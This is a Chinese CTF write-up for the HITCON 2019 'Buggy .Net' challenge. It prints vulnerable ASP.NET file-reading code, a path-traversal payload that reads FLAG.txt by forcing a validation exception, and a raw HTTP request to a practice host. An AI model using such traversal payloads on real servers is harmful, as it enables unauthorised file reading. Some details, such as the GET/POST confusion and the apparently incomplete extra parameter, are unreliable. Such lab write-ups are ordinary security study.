[HITCON 2019]Buggy_Net NET4.0表单处理~~

0x01 源码

bool isBad = false;
try {
    if ( Request.Form["filename"] != null ) {
        isBad = Request.Form["filename"].Contains("..") == true;
    }
} catch (Exception ex) {
    
} 

try {
    if (!isBad) {
        Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"]));
    }
} catch (Exception ex) {

}

我们打开http头可以知道，这是NET4.0

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
[...]

我们观察一下这短代码，首先题目提示flag在c:/FLAG.txt，所以我们必须要穿越目录，但是filename限制了…，我们可以通过构造请求，使得第一个try报错，这样isBad就是false，然后第二个try不报错使得成功读取文件~~
payload:

filename=../../FLAG.txt&qwqeqwe=

注意题目查询使用的post，我们这儿只能使用GET

GET / HTTP/1.1
Host: node3.buuoj.cn:29225
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://node3.buuoj.cn:29225/
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://node3.buuoj.cn:29225
Connection: close
Cookie: _ga=GA1.2.1327658694.1580490668
Upgrade-Insecure-Requests: 1

filename=../../FLAG.txt&qwqeqwe=

我们这儿主要是利用了NET对参数的检查，来造成请求异常~~

参考链接1
参考链接2